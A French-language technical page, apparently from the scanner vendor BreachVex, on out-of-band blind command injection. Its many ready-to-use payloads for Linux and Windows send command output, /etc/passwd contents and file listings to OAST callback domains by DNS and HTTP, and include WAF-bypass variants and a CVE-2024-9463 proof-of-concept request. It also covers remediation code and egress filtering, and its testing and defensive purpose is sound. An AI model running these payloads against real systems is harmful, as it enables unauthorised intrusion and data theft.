Exfiltre la sortie des commandes via des requêtes DNS, HTTP ou SMTP quand la sortie directe dans la réponse est indisponible.
TL;DR
; nslookup $(whoami).OAST_DOMAIN encode la sortie de la commande dans le sous-domaine DNSoast.pro/oast.live (public)L'injection de commandes hors-bande (OOB) est la technique de confirmation — et d'exfiltration depuis — l'injection de commandes à l'aveugle en déclenchant une connexion réseau depuis le serveur cible vers un écouteur contrôlé par l'attaquant. La commande injectée ne produit pas de sortie dans la réponse HTTP ; à la place, elle initie une requête DNS sortante, une requête HTTP, ou une autre interaction de protocole réseau que l'attaquant observe sur son infrastructure.
L'OOB est la méthode de confirmation la plus fiable pour l'injection à l'aveugle. Elle est insensible au buffering de réponse CDN (qui contrecarre la détection basée sur le temps), à la variation de charge serveur, et à la gigue réseau. Elle fournit une preuve d'identité — l'utilisateur courant encodé dans le sous-domaine DNS — plutôt qu'un simple oui/non binaire. Et parce que la résolution DNS est permise à travers la plupart des pare-feux d'entreprise même quand HTTP est filtré, l'OOB via DNS atteint des cibles que les callbacks HTTP ne peuvent pas atteindre.
Cette page couvre la mécanique de l'exfiltration OOB, le paysage complet de l'infrastructure, comment BreachVex relie les callbacks à des sondes individuelles, et les cas spécifiques où l'OOB est la seule méthode de détection viable. Pour le concept fondamental d'injection à l'aveugle, voir la page À l'aveugle. Pour la confirmation basée sur le temps, voir la page Basée sur le temps.
La chaîne OOB comporte six étapes :
whoami) comme sous-domaine ou paramètre de chemin.$(whoami) comme sous-shell, puis utilise le résultat dans la requête DNS ou l'URL.L'OOB via DNS est la plus fiable car le port DNS 53 UDP/TCP traverse la plupart des pare-feux d'entreprise :
# Exfiltration whoami basique — pattern le plus courant
; nslookup $(whoami).OAST_DOMAIN
; nslookup `id`.OAST_DOMAIN
# Résolution DNS basée sur curl (si nslookup n'est pas disponible)
; curl http://$(whoami).OAST_DOMAIN/
# Alternative avec la commande host
; host $(whoami).OAST_DOMAIN
# Alternative avec dig
; dig $(whoami).OAST_DOMAIN
# Exfiltrer le hostname
; nslookup $(hostname).OAST_DOMAIN
# Exfiltrer whoami + hostname ensemble
; nslookup $(whoami).$(hostname).OAST_DOMAIN
# Équivalent Windows (cmd.exe)
& nslookup %OS%.OAST_DOMAIN &
& nslookup %COMPUTERNAME%.OAST_DOMAIN &Les callbacks HTTP permettent des payloads de données plus larges (pas de limite de 63 caractères pour les labels DNS) :
# Sortie de id encodée en base64 via curl
; curl http://OAST_DOMAIN/$(id|base64 -w0)
# Alternative wget
; wget -q http://OAST_DOMAIN/?q=$(id|base64 -w0)
# Contenu /etc/passwd (partiel — première ligne)
; curl http://OAST_DOMAIN/$(head -1 /etc/passwd|base64 -w0)
# Énumération de fichiers via boucle
; for f in $(ls /etc/); do curl -s http://OAST_DOMAIN/?f=$f; done
# Avec contournement IFS pour contournement WAF
$(curl${IFS}http://$(id|base64${IFS}-w0).OAST_DOMAIN/)REM DNS — net use pour chemin UNC déclenche DNS+SMB (utile avec Responder)
& net use \\$(OAST_DOMAIN)\share &
REM DNS via nslookup
& nslookup %USERNAME%.OAST_DOMAIN &
REM HTTP via certutil (souvent inscrit sur liste blanche)
& certutil -urlcache -split -f http://OAST_DOMAIN/$(whoami) %TEMP%\oob.txt &
REM Callback HTTP PowerShell
& powershell -c "Invoke-WebRequest http://OAST_DOMAIN/?u=$env:USERNAME" &Quand la cible filtre les espaces dans les payloads d'injection :
; nslookup${IFS}$(whoami).OAST_DOMAIN
; curl${IFS}http://OAST_DOMAIN/$(id)
$(curl${IFS}http://$(whoami|base64${IFS}-w0).OAST_DOMAIN/)
%0a nslookup$(IFS)$(whoami).OAST_DOMAINBurp Collaborator est l'infrastructure OAST standard pour les tests d'intrusion professionnels :
# Format de sous-domaine Burp Collaborator :
YOUR-PAYLOAD.YOUR-COLLABORATOR-ID.oastify.comInteractsh (ProjectDiscovery) est la solution OAST open-source de référence :
# Installer le CLI
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
# Démarrer le client — enregistre automatiquement un sous-domaine unique
interactsh-client
# Sortie :
# [INF] Using interactsh server: oast.pro
# [INF] Listing on: abc123xyz.oast.pro
# [DNS] Received DNS interaction for: www-data.abc123xyz.oast.pro from 203.0.113.42Déploiement auto-hébergé (pour les environnements isolés) :
# Déployer interactsh-server sur un VPS
interactsh-server --domain your-oast.example.com --token secret-token
# Connecter le client au serveur auto-hébergé
interactsh-client -s your-oast.example.com -token secret-token| Service | Domaine | Support de protocoles | Notes |
|---|---|---|---|
| Interactsh public | oast.pro, oast.live | DNS, HTTP, SMTP | Gratuit, aucune auth requise |
| Interactsh public | oast.fun, oast.me | DNS, HTTP | Gratuit |
| Interactsh public | oast.online, oast.site | DNS, HTTP | Gratuit |
| Burp Collaborator | oastify.com | DNS, HTTP, SMTP | Nécessite Burp Suite Pro |
Burp Collaborator vs Interactsh auto-hébergé : utiliser Collaborator quand le pentest nécessite un audit trail et des artefacts de rapport professionnel — il s'intègre avec les findings de Burp Scanner et les horodatages sont liés à des requêtes de scan spécifiques. Utiliser Interactsh auto-hébergé quand l'environnement cible a un filtrage d'egress qui bloque les domaines OAST connus (certains WAF d'entreprise bloquent oastify.com et oast.pro), ou quand la confidentialité des données exige d'éviter une infrastructure tierce.
Dans les scans concurrents testant plusieurs paramètres simultanément, plusieurs payloads OOB se déclenchent en même temps. Sans identifiants de corrélation par sonde, vous ne pouvez pas déterminer quel paramètre a causé quel callback.
import uuid
def generate_oob_payload(param_name, oast_server):
"""Générer un payload OOB unique pour une sonde de paramètre unique."""
correlation_id = str(uuid.uuid4())[:8]
oast_domain = f"cmdi-{correlation_id}.{oast_server}"
payload = f"; nslookup $(whoami).{oast_domain}"
return payload, correlation_id, oast_domain
# Usage :
payload, corr_id, domain = generate_oob_payload("host", "oast.pro")
# payload = "; nslookup $(whoami).cmdi-7a3b1f92.oast.pro"
# corr_id = "7a3b1f92"
# domain = "cmdi-7a3b1f92.oast.pro"JSON de preuve attendu quand l'interaction est reçue :
{
"technique": "oob_dns",
"payload": "; nslookup $(whoami).cmdi-7a3b1f92.oast.pro",
"oob_interaction": {
"type": "dns",
"subdomain_received": "www-data.cmdi-7a3b1f92.oast.pro",
"exfiltrated_data": "www-data",
"source_ip": "203.0.113.42",
"timestamp": "2026-05-08T14:23:11Z",
"correlation_id": "7a3b1f92"
}
}CVE-2024-3400 — PAN-OS GlobalProtect (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
L'exploitation de CVE-2024-3400 par l'acteur menaçant UTA0218 (Volexity) est l'un des usages les plus documentés de la confirmation d'injection OOB dans une campagne d'acteur étatique. L'attaque en deux étapes :
SESSID malformé avec traversée de chemin (SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/poc.py) utilisait le portail GlobalProtect pour écrire un fichier Python arbitraire.Les attaquants ont confirmé l'exécution au niveau root via des callbacks DNS OOB avant de déployer la backdoor Python UPSTYLE. La confirmation OOB était critique car la réponse HTTP du portail ne retournait aucune sortie de commande. La CISA a ajouté cela au catalogue KEV le 12 avril 2024 — le jour même de la découverte.
CVE-2024-9463 — Palo Alto Expedition (CVSS 9.9)
L'injection de commandes OS non authentifiée dans /API/convertCSVtoParquet.php exécutait des commandes en root sans retourner aucune sortie dans la réponse API. L'OOB était la seule méthode de confirmation viable. L'exploitation PoC utilisait :
curl -X POST https://expedition.example.com/API/convertCSVtoParquet.php \
-d "file=x;curl${IFS}http://$(id|base64${IFS}-w0).cmdi-test.oast.pro/"Le serveur Interactsh recevait un GET HTTP vers un chemin contenant la sortie de id encodée en base64, confirmant l'exécution root. CISA KEV.
HackerOne — Rapports d'injection à l'aveugle confirmée via OOB
Plusieurs rapports publics HackerOne documentent l'injection à l'aveugle confirmée via OOB. HackerOne #2293731 (Internet Bug Bounty, CVE-2023-6004) utilisait l'injection SSH ProxyCommand via des noms d'hôte contrôlés par l'utilisateur — l'injection à l'aveugle était confirmée via DNS OOB puisque le sous-processus SSH ne produisait aucune sortie visible par l'application. La technique d'injection via l'option ProxyCommand se rattache directement à la variante Injection d'arguments couverte dans la page Injection d'arguments.
Enregistrer un sous-domaine Interactsh ou configurer Burp Collaborator :
interactsh-client
# Noter le sous-domaine assigné : abc123.oast.proInjecter la sonde DNS avec un identifiant de corrélation :
; nslookup $(whoami).cmdi-test-001.abc123.oast.pro
; curl http://abc123.oast.pro/$(id|base64 -w0)Surveiller la console Interactsh pour les interactions entrantes :
[DNS] www-data.cmdi-test-001.abc123.oast.pro from 203.0.113.42Le préfixe de sous-domaine www-data confirme à la fois l'exécution et l'utilisateur courant.
Si DNS est bloqué, essayer HTTP :
; curl http://abc123.oast.pro/probe
; wget -q -O /dev/null http://abc123.oast.pro/probeTester avec des variantes de contournement des espaces quand les payloads basiques échouent :
;${IFS}nslookup${IFS}$(whoami).abc123.oast.pro
%0anslookup%20$(whoami).abc123.oast.proPour les cibles Windows, tester DNS via nslookup et chemins UNC :
& nslookup %USERNAME%.abc123.oast.pro &Commix en mode OOB :
commix --url "http://target.com/ping?host=*" \
--batch --smart --technique=O --level=3 \
--dns-server oast.proBurp Suite Pro utilise automatiquement Collaborator pour la détection OOB quand les techniques "Out-of-band" sont activées dans les paramètres du scanner. Le panneau Collaborator affiche toutes les interactions corrélées aux éléments de scan.
BreachVex confirme l'injection OOB en injectant ; nslookup $(whoami).cmdi-<identifiant-de-correlation>.<domaine-oast> avec un identifiant de corrélation unique par sonde. Quand l'interaction hors-bande est reçue, le préfixe du sous-domaine (la sortie de la commande) et l'identifiant de corrélation sont extraits et stockés comme preuve confirmée.
L'injection OOB exploite la même cause profonde que toutes les variantes d'injection de commandes — l'entrée utilisateur atteignant une fonction d'exécution shell. Le canal OOB est une technique d'exploitation, pas la vulnérabilité elle-même. Prévenir l'injection prévient le callback OOB.
# VULNÉRABLE — callback OOB se déclenche depuis ce code
import os
def process_domain(domain):
# L'attaquant injecte : ; nslookup $(whoami).attacker.oast.pro
result = os.popen(f"nslookup {domain}").read()
return result
# SÛR — pas de shell, forme tableau
import subprocess, re
def process_domain_safe(domain):
# Liste d'autorisation stricte — format de domaine uniquement
if not re.fullmatch(r'^[a-zA-Z0-9][a-zA-Z0-9\-\.]{1,253}[a-zA-Z0-9]$', domain):
raise ValueError("Format de domaine invalide")
result = subprocess.run(
["nslookup", domain],
capture_output=True,
text=True,
timeout=10
)
return result.stdoutDéfense au niveau réseau : bloquer les requêtes DNS et HTTP sortantes des serveurs applicatifs vers internet. De nombreuses techniques de détection OOB échouent entièrement quand le serveur n'a pas d'accès direct à internet et que tout le DNS est résolu via un serveur interne qui ne transfère pas vers des résolveurs externes. Cela ne corrige pas la vulnérabilité d'injection mais contrecarre la confirmation OOB et l'exfiltration de données.
Bloquer les canaux OOB (filtrage d'egress, sinkholes DNS) contrecarre la détection OOB mais ne corrige pas l'injection sous-jacente. Les attaquants passeront à la confirmation à l'aveugle basée sur le temps ou aux techniques d'écriture de fichiers. Le filtrage d'egress est un contrôle de défense en profondeur valable mais ne remplace pas les API d'exécution paramétrée.
L'injection OOB est insensible aux trois principales sources de faux positifs dans la détection basée sur le temps : la variation de charge serveur, le buffering de réponse CDN (qui aplatit les deltas temporels), et la gigue réseau. Un callback DNS OOB fournit également une preuve d'identité — la sortie de whoami dans le sous-domaine est une preuve définitive d'exécution, pas seulement un oui/non binaire. La méthode basée sur le temps donne une probabilité ; l'OOB donne une certitude.
Les serveurs OAST (Out-of-band Application Security Testing) sont des infrastructures qui reçoivent des interactions DNS, HTTP, SMTP et autres protocoles déclenchées par des payloads injectés. L'attaquant enregistre un sous-domaine unique comme cmdi-abc123.oast.pro, injecte un payload qui amène la cible à résoudre ce sous-domaine, et surveille le serveur OAST pour les requêtes entrantes. Chaque interaction est horodatée et corrélée à la requête qui l'a injectée.
; nslookup $(whoami).YOUR-ID.oastify.com — le $(whoami) s'exécute en premier, sa sortie devient le préfixe du sous-domaine. Le serveur cible envoie une requête DNS A-record pour www-data.YOUR-ID.oastify.com (ou root, ou quel que soit l'utilisateur qui exécute le processus). Le serveur OAST enregistre www-data comme sous-domaine, confirmant à la fois l'injection et l'identité de l'utilisateur courant.
Burp Suite Pro avec l'intégration Collaborator est la norme pour les pentests professionnels — il fournit des sous-domaines uniques par test, une API de polling, la capture DNS/HTTP/SMTP, et un audit trail. Pour les alternatives open-source, Interactsh (ProjectDiscovery) est auto-hébergeable pour les environnements isolés. Endpoints publics gratuits : oast.pro, oast.live, oast.fun, oast.me, oast.online, oast.site. Toujours utiliser des sous-domaines uniques par sonde pour la corrélation.
L'acteur menaçant UTA0218 (suivi par Volexity) a confirmé l'exploitation de CVE-2024-3400 via des callbacks DNS OOB lors de la phase initiale d'exploitation zero-day en avril 2024. La technique OOB permettait la vérification de l'exécution au niveau root (la traversée de chemin du cookie SESSID déclenchait un script Python exécuté par une tâche cron avec les privilèges root) avant le déploiement de la backdoor UPSTYLE. C'est l'un des usages les plus documentés de la confirmation OOB dans une exploitation CISA KEV.
L'OOB DNS peut être bloqué quand : le serveur applicatif n'a pas de résolution DNS sortante (isolé ou pare-feu strict), le résolveur DNS est configuré pour bloquer les requêtes externes, ou le filtrage d'egress bloque le port 53 UDP/TCP. Alternatives : OOB HTTP via curl ou wget (port 80/443, souvent permis), callbacks SMB sur Windows (les chemins UNC déclenchent l'auth NTLM vers le Responder de l'attaquant), ou ICMP si disponible. Si tout le trafic sortant est bloqué, fallback vers la méthode basée sur le temps ou la confirmation par écriture de fichier.
Un identifiant de corrélation est un identifiant unique incorporé dans le sous-domaine de chaque payload OOB : ; nslookup $(whoami).cmdi-7a3b1f92.oast.pro. Le segment UUID à 8 caractères cmdi-7a3b1f92 lie le callback DNS reçu à la requête spécifique qui l'a déclenché. Sans identifiants de corrélation, les sondes concurrentes vers plusieurs paramètres créent une ambiguïté — on ne peut pas savoir quel paramètre a causé le callback.
Oui, mais la limite de longueur de label du protocole DNS (63 caractères par label, 253 au total) contraint l'exfiltration par requête unique. Pour les petites chaînes comme la sortie de whoami (typiquement 4-15 caractères), l'approche sous-domaine fonctionne directement. Pour des données plus grandes, utiliser l'OOB HTTP avec encodage base64 : ; curl http://OAST_DOMAIN/$(cat /etc/passwd | base64 -w0). Pour l'énumération complète de fichiers, utiliser une boucle : ; for f in $(ls /etc/); do host $f.OAST_DOMAIN; done.
Burp Collaborator fournit : (1) des sous-domaines uniques garantis par test avec nettoyage automatique, (2) l'intégration d'API de polling dans Burp Scanner qui corrèle les callbacks à des éléments de scan spécifiques, (3) la capture d'interactions SMTP en plus de DNS/HTTP, (4) aucune exposition publique des données d'interaction (serveur privé), et (5) inclusion automatique dans les rapports. Les endpoints OAST publics (oast.live) fonctionnent bien pour les tests manuels mais n'ont pas l'audit trail nécessaire pour les rapports professionnels.
Les shells non interactifs (sh, dash, bash restreint) supportent toujours la substitution de commande $() et nslookup. L'approche curl/wget fonctionne sauf si ces binaires sont absents. Dans les conteneurs minimaux où aucun n'est présent, essayer : /bin/sh -c 'host $(id).OAST_DOMAIN', ou encoder les données en hex et utiliser les champs de données ICMP ping. Les conteneurs Alpine Linux n'ont souvent pas nslookup mais ont wget.
BreachVex génère un identifiant de corrélation unique par sonde et l'intègre dans le sous-domaine OAST (par ex. cmdi-<identifiant-de-correlation>.<domaine-oast>). Quand un callback DNS arrive, le préfixe du sous-domaine est remappé à la requête d'origine, et la sortie de commande exfiltrée est enregistrée comme preuve. Cela empêche les faux positifs entre sondes dans les scans multi-paramètres concurrents.